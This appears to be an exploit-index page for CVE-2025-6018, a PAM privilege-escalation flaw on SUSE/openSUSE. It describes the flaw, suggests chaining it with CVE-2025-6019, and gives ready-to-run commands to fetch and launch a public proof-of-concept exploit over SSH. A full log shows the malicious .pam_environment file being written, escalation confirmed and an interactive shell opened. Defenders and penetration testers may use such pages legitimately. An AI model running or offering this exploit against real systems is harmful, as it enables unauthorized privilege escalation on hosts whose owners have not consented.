# CVE-2025-6018 - pam-config

- **URL:** https://hackindex.io/vulnerabilities/CVE-2025-6018
- **CVE:** CVE-2025-6018
- **CVSS score:** 7.8
- **CVSS vector:** CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- **Type:** CWE-863
- **Authentication:** User Account
- **Complexity:** Low
- **Privileges:** Low
- **Published:** 2026-02-22
- **Updated:** 2026-02-26

CVE-2025-6018 is a local privilege-escalation flaw in **pam-config / Linux PAM on SUSE/openSUSE (SLE 15 family)** that lets an **unprivileged local user** (even over SSH) gain the elevated **“allow_active”** level normally intended for a physically present user, which can be used to bypass intended authorization boundaries and set up further escalation.

You can use this exploit together with [https://hackindex.io/vulnerabilities/CVE-2025-6019](https://hackindex.io/vulnerabilities/CVE-2025-6019) to gain privilege user access.

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

#### Spawn Shell

**[ibrahmsql/CVE-2025-6018](https://github.com/ibrahmsql/CVE-2025-6018)** - CVE-2025-6018 Poc and Exploit

```bash
git clone https://github.com/ibrahmsql/CVE-2025-6018.git
cd CVE-2025-6018

python3 -m venv .venv
source .venv/bin/activate
pip3 install paramiko

python3 CVE-2025-6018.py -i $TARGET_IP --port $TARGET_PORT -u $SSH_USER -p "$SSH_PASSWORD"
# 2026-02-14 19:00:32 [WARNING] Use only with proper authorization!
# 2026-02-14 19:00:32 [INFO] Starting CVE-2025-6018 exploit against $TARGET_IP:$TARGET_PORT
# 2026-02-14 19:00:32 [INFO] Connecting to $TARGET_IP:$TARGET_PORT as $SSH_USER
# 2026-02-14 19:00:32 [INFO] Connected (version 2.0, client OpenSSH_9.6)
# 2026-02-14 19:00:32 [INFO] Authentication (password) successful!
# 2026-02-14 19:00:32 [INFO] SSH connection established
# 2026-02-14 19:00:32 [INFO] Starting vulnerability assessment
# 2026-02-14 19:00:32 [INFO] Executing check: pam_version
# 2026-02-14 19:00:33 [INFO] Vulnerable PAM version detected: pam-1.3.0
# 2026-02-14 19:00:33 [INFO] Executing check: pam_env
# 2026-02-14 19:00:33 [INFO] pam_env.so configuration found
# 2026-02-14 19:00:34 [INFO] Executing check: pam_systemd
# 2026-02-14 19:00:34 [INFO] pam_systemd.so found - escalation vector available
# 2026-02-14 19:00:35 [INFO] Executing check: systemd_version
# 2026-02-14 19:00:35 [INFO] Target appears vulnerable, proceeding with exploitation
# 2026-02-14 19:00:35 [INFO] Creating malicious environment file
# 2026-02-14 19:00:35 [INFO] Writing .pam_environment file
# 2026-02-14 19:00:35 [INFO] Malicious environment file created successfully
# 2026-02-14 19:00:35 [INFO] Reconnecting to trigger PAM environment loading
# 2026-02-14 19:00:37 [INFO] Connected (version 2.0, client OpenSSH_9.6)
# 2026-02-14 19:00:37 [INFO] Authentication (password) successful!
# 2026-02-14 19:00:37 [INFO] Reconnection successful
# 2026-02-14 19:00:37 [INFO] Testing privilege escalation vectors
# 2026-02-14 19:00:37 [INFO] Testing: SystemD Reboot
# 2026-02-14 19:00:38 [INFO] PRIVILEGE ESCALATION DETECTED: SystemD Reboot
# 2026-02-14 19:00:38 [INFO] Testing: SystemD Shutdown
# 2026-02-14 19:00:38 [INFO] PRIVILEGE ESCALATION DETECTED: SystemD Shutdown
# 2026-02-14 19:00:38 [INFO] Testing: PolicyKit Check
# 2026-02-14 19:00:38 [INFO] No escalation detected: PolicyKit Check
# 2026-02-14 19:00:38 [INFO] EXPLOITATION SUCCESSFUL - Privilege escalation confirmed
# 2026-02-14 19:00:38 [INFO] Starting interactive shell session
#
# --- Interactive Shell ---
# Commands: 'exit' to quit, 'status' for privilege check
# exploit$ whoami 
# whoami
# $SSH_USER
```